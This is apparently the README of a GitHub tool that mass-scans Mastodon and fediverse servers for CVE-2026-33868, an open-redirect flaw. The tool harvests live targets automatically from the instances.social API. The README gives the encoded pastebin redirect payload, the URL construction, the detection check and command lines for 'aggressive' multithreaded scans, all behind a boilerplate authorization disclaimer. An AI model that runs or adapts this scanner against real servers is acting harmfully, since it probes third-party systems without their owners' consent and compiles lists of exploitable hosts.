O99099O/By-Poloss..-..CVE-2026-33868

# CVE-2026-33868 - 批量漏洞扫描器

自动化批量漏洞扫描器，从 instances.social 挖掘目标

## ⚠️ **免责声明与道德使用** ### **🚫 严厉警告** **仅限在您拥有或获得书面授权的系统上使用！** ``` Tool ini dibuat untuk: ✅ Penetration Testing dengan izin ✅ Security Research & Education ✅ Vulnerability Assessment sistem sendiri ❌ BUKAN untuk aktivitas ilegal Penulis TIDAK bertanggung jawab atas penyalahgunaan. Gunakan dengan bijak dan bertanggung jawab. ``` ## 🔍 **漏洞概述** ### **📊 CVE 详情** - **CVE ID**: CVE-2026-33868 - **类型**: 路径遍历 / 信息泄露 - **目标**: 存在漏洞端点的 Web 应用程序 - **影响**: 未授权访问敏感文件 - **风险等级**: 高 (7.5/10 CVSS) ### **🎯 漏洞利用机制** ``` GET /web/{payload} Where payload = encoded path to pastebin.com raw content ``` ### **🛡️ 核心功能** - ✅ 自动从 instances.social 挖掘目标 - ✅ 实时漏洞扫描 - ✅ 防重复检测系统 - ✅ 多线程扫描引擎 - ✅ 彩色终端输出 - ✅ 自定义 ASCII 横幅支持 ## ✨ **高级功能** ### **🎯 自动化目标挖掘** ``` # 自动目标发现 - Fetches live targets from instances.social API - Continuous target acquisition - Automatic domain extraction - Duplicate URL prevention - Real-time vulnerability checking ``` ### **⚡ 多线程扫描** ``` # 并发处理 - Configurable thread count - Smart timeout management - Connection pooling - Thread-safe operations with Lock - Efficient resource usage ``` ### **🎨 专业输出** ``` # 颜色编码结果 - 🟢 GREEN: Vulnerable targets found - 🔴 RED: Errors and warnings - ⚪ GRAY: Safe/Non-vulnerable targets - 📁 Automatic result saving - 🔄 Duplicate prevention system ``` ### **📁 自定义横幅支持** ``` # ASCII banner 加载器 - Auto-loads banner.txt if exists - Customizable banner display - Error handling for missing banner - UTF-8 encoding support ``` ## 🚀 **快速安装** ### **📦 前置条件** ``` # Python 3.7 或更高版本 python3 --version # pip 包管理器 pip --version ``` ### **🔧 安装** ``` # 克隆仓库 git clone https://github.com/O99099O/By-Poloss..-..CVE-2026-33868.git cd By-Poloss..-..CVE-2026-33868 # 安装依赖 pip install requests # 可选：添加自定义 banner nano banner.txt ``` ### **💻 平台特定说明** ``` # Termux (Android) pkg update && pkg upgrade pkg install python git pip install requests # Kali Linux sudo apt update sudo apt install python3 python3-pip pip3 install requests # Windows pip install requests # MacOS brew install python3 pip3 install requests ``` ## ⚡ **使用指南** ### **📝 基本用法** ``` # 格式：python3 1.py -o python3 CVE-2026-33868.py 20 10 -o results.txt # 每批次包含更多目标 python3 CVE-2026-33868.py 30 15 -o vulnerable.txt # 高速扫描 python3 CVE-2026-33868.py 50 30 -o scan_results.txt ``` ### **🎯 参数说明** | 参数 | 描述 | 示例 | |-----------|-------------|---------| | `fetch_count` | 每批次获取的目标数量 | 20, 30, 50 | | `threads` | 并发扫描线程数 | 10, 15, 30 | | `-o` | 漏洞目标输出文件 | results.txt | ### **🔄 示例场景** ``` # 轻度扫描（慢速但安全） python3 CVE-2026-33868.py 10 5 -o light_scan.txt # 中度扫描 python3 CVE-2026-33868.py 20 10 -o medium_scan.txt # 激进扫描（快速） python3 CVE-2026-33868.py 30 20 -o aggressive_scan.txt # 最高性能 python3 CVE-2026-33868.py 50 30 -o max_scan.txt ``` ## 🔄 **工作流程** ### **扫描工作流** ``` 1. Load Custom Banner (banner.txt) ↓ 2. Fetch Targets from instances.social API ↓ 3. Extract Domain Names ↓ 4. Multi-threaded Vulnerability Check ↓ 5. Check for Redirect to pastebin.com ↓ 6. Prevent Duplicate Entries ↓ 7. Save Vulnerable Targets to File ↓ 8. Repeat with New Batch ``` ### **漏洞检测逻辑** ``` # 检测标准 1. HTTP Status: 301 or 302 (Redirect) 2. Location Header: Contains "pastebin.com" 3. Target URL: https://{domain}/web/{payload} # 结果分类 - VULN: Redirect to pastebin.com detected - SAFE: No redirect or wrong destination - DUP: Already saved in output file ``` ## 📁 **输出系统** ### **📄 生成的文件** ``` 📁 CVE-2026-33868/ ├── 📄 banner.txt # Optional custom ASCII banner ├── 📄 results.txt # Vulnerable targets (your specified output) └── 📄 README.md # Documentation ``` ### **📊 输出格式** ``` # results.txt（易受攻击目标） https://example.com/web/%2Fpastebin.com%2f%72%61%77%2f%4d%70%67%56%67%30%43%51 https://target-site.com/web/%2Fpastebin.com%2f%72%61%77%2f%4d%70%67%56%67%30%43%51 https://vulnerable.org/web/%2Fpastebin.com%2f%72%61%77%2f%4d%70%67%56%67%30%43%51 ``` ### **🎨 终端输出** ``` [*] Mining Started - Threads: 15 - Mode: Accurate Anti-Duplicate [VULN] https://example.com/web/%2Fpastebin.com%2f%72%61%77%2f%4d%70%67%56%67%30%43%51 [SAFE] https://secure-site.com [DUP] example.com (Already in file) [VULN] https://target-site.com/web/%2Fpastebin.com%2f%72%61%77%2f%4d%70%67%56%67%30%43%51 ``` ## 🛠️ **技术细节** ### **🔐 API 端点** ``` # instances.social API URL: https://instances.social/api/1.0/instances/sample Method: GET Headers: Authorization: Bearer [token] Parameters: count={fetch_count} Response: JSON with instance list ``` ### **🎯 漏洞检查** ``` # 目标 URL 构造 target_url = f"https://{domain}/web/{PAYLOAD}" PAYLOAD = "%2Fpastebin.com%2f%72%61%77%2f%4d%70%67%56%67%30%43%51" # 检测逻辑 if status_code in [301, 302] and "pastebin.com" in location: # Vulnerable target found ``` ### **🛡️ 防重复系统** ``` # 重复预防 - Checks existing entries in output file - Thread-safe with Lock mechanism - Compares exact URLs - Prevents duplicate saves ``` ## 📈 **性能与优化** ### **⚡ 线程管理** ``` # 线程配置 - Default: Configurable via command line - Maximum: Up to 50 threads - Thread-safe operations with Lock - Efficient executor usage ``` ### **⏱️ 超时设置** ``` # 请求超时 Connection: 10 seconds Overall: Configurable via timeout parameter Retry: Automatic on failure ``` ### **💾 内存管理** ``` # 高效处理 - Stream-based file handling - No unnecessary data retention - Clean session management - Automatic cleanup ``` ## 🔧 **故障排除指南** ### **🚨 常见问题** | 问题 | 解决方案 | |-------|----------| | **ImportError: No module named 'requests'** | `pip install requests` | | **Token 错误 / 过期** | 更新脚本中的 API token | | **目标不可达** | 检查网络连接 | | **未找到结果** | 目标可能不存在漏洞 | | **性能缓慢** | 降低线程数 | | **横幅未显示** | 创建 banner.txt 文件 | ### **🐛 调试模式** ``` # 添加 debug prints 以便排查故障 print(f"[DEBUG] Processing: {domain}") print(f"[DEBUG] Response status: {res.status_code}") print(f"[DEBUG] Location header: {location}") ``` ### **📋 错误类别** ``` ERROR_TYPES = { '401': 'Token Expired - Update API key', 'timeout': 'Connection timeout - Check network', 'exception': 'General error - Check logs' } ``` ## 📄 **法律与合规** ### **⚖️ 使用协议** ``` BY USING THIS SOFTWARE, YOU AGREE TO: 1. Use only on systems you own or have written permission 2. Not use for illegal or unauthorized activities 3. Comply with all applicable laws and regulations 4. Accept full responsibility for your actions 5. Not hold the author liable for any damages ``` ### **🔒 负责任披露** ``` If you discover a vulnerability: 1. Report to the vendor/developer 2. Allow reasonable time for patch 3. Do not exploit without permission 4. Follow ethical hacking guidelines ``` ### **📝 许可信息** ``` MIT License Copyright (c) 2026 BY POLOSS Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software with restrictions mentioned above. ``` ## 👨‍💻 **开发者信息** ### **🔧 作者** **BY POLOSS** - GitHub: [@O99099O](https://github.com/O99099O) - Repository: [CVE-2026-33868 Scanner](https://github.com/O99099O/By-Poloss..-..CVE-2026-33868) ### **🌟 致谢** - instances.social API 提供目标来源 - 开源社区 - 安全研究人员 - Beta 测试人员 ### **📈 项目统计**

🎀 感谢您的访问！ 🎀

_{BY POLOSS • 2026}

自动化漏洞扫描器 • 仅供道德使用

标签：CVE, CVE-2026-33868, instances.social, Mastodon, Python, 信息泄露, 加密, 实时处理, 密码管理, 开放重定向, 插件系统, 数字签名, 无后门, 漏洞扫描器, 目标发现, 网络安全, 联邦宇宙, 自动化挖掘, 路径遍历, 逆向工具, 隐私保护